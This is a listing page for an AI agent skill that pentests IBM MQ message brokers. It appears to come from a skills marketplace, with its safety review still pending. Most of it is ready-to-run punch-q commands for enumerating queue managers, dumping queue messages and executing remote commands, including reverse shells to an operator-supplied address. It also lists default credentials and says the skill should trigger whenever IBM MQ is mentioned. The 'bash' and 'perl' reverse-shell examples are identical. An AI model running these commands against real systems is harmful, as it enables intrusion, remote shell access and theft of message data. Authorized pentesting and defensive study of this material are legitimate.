# Ibm Mq Pentesting

> Pentest IBM MQ message brokers on port 1414. Use this skill whenever the user mentions IBM MQ, message queues, port 1414, punch-q, pymqi, or needs to enumerate/exploit IBM MQ instances. This skill covers enumeration of queue managers, channels, and queues, plus exploitation techniques including message dumping and remote code execution via PCF commands.

- Skill: `abelrguezr/ibm-mq-pentesting` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/ibm-mq-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/ibm-mq-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/ibm-mq-pentesting

---


# IBM MQ Pentesting

A skill for pentesting IBM MQ message brokers, which typically expose TCP port 1414. This skill helps you enumerate and exploit IBM MQ instances using tools like `punch-q` and `pymqi`.

## When to use this skill

Use this skill when:
- You discover port 1414 open on a target
- You need to enumerate IBM MQ queue managers, channels, or queues
- You want to dump messages from IBM MQ queues
- You need to execute commands on an IBM MQ server via PCF
- The user mentions IBM MQ, punch-q, pymqi, or message queue exploitation

## Quick Start

### 1. Check if IBM MQ is accessible

```bash
# Test connectivity to port 1414
nc -zv <target> 1414
```

### 2. Discover Queue Manager name

```bash
# Using punch-q with Docker
sudo docker run --rm -ti leonjza/punch-q --host <target> --port 1414 discover name

# Output example:
# Queue Manager name: MYQUEUEMGR
```

### 3. Enumerate channels

```bash
# Try with credentials (some instances accept unauthenticated requests)
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  discover channels

# Once you have a channel, enumerate all channels
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  show channels -p '*'
```

### 4. Enumerate queues

```bash
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  show queues -p '*'
```

### 5. Dump messages (non-destructive)

```bash
# Sniff messages
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  messages sniff

# Dump messages
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  messages dump
```

### 6. Remote code execution

```bash
# Execute a command
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  command execute --cmd "/bin/sh" --args "-c id"

# Reverse shell (bash)
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  command reverse -i <your-ip> -p 4444

# Reverse shell (perl)
sudo docker run --rm -ti leonjza/punch-q \
  --host <target> --port 1414 \
  --username admin --password passw0rd \
  --channel DEV.ADMIN.SVRCONN \
  command reverse -i <your-ip> -p 4444
```

## Tools

### punch-q (Recommended)

**With Docker:**
```bash
sudo docker run --rm -ti leonjza/punch-q
```

**Without Docker:**
```bash
git clone https://github.com/sensepost/punch-q
cd punch-q
pip install -r requirements.txt
python3 setup.py install
```

### pymqi (Manual approach)

Install IBM MQ dependencies first, then:
```bash
pip install pymqi
```

See `scripts/setup_pymqi.sh` for installation instructions.

## Common default credentials

- Username: `admin`
- Password: `passw0rd`

Some instances accept unauthenticated requests.

## Important notes

1. **Asynchronous execution**: Command execution is asynchronous. You need a second mechanism to leverage the exploit (reverse shell listener, file creation, data exfiltration).

2. **PCF commands**: IBM MQ can be controlled via PCF (Programmable Command Formats). The `MQCMD_CREATE_SERVICE` command allows arbitrary command execution with mqm authority.

3. **Iterate on all queues**: When dumping messages, try all identified queues as they may contain different data.

4. **Check logs**: After command execution, check IBM MQ logs for confirmation:
   ```
   AMQ5030I: The Command '<command-id>' has started. ProcessId(<pid>).
   ```

## Scripts

Use the bundled scripts for common tasks:

- `scripts/enumerate_ibmmq.py` - Automated enumeration of queue managers, channels, and queues
- `scripts/exploit_ibmmq.py` - Command execution and reverse shell payloads
- `scripts/setup_pymqi.sh` - Install IBM MQ dependencies for pymqi
- `scripts/setup_test_env.sh` - Set up a local IBM MQ test environment

## References

- [IBM MQ Documentation](https://www.ibm.com/docs/en/ibm-mq)
- [punch-q GitHub](https://github.com/sensepost/punch-q)
- [pymqi GitHub](https://github.com/dsuch/pymqi)
- [Practical IBM MQ Penetration Testing notes](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)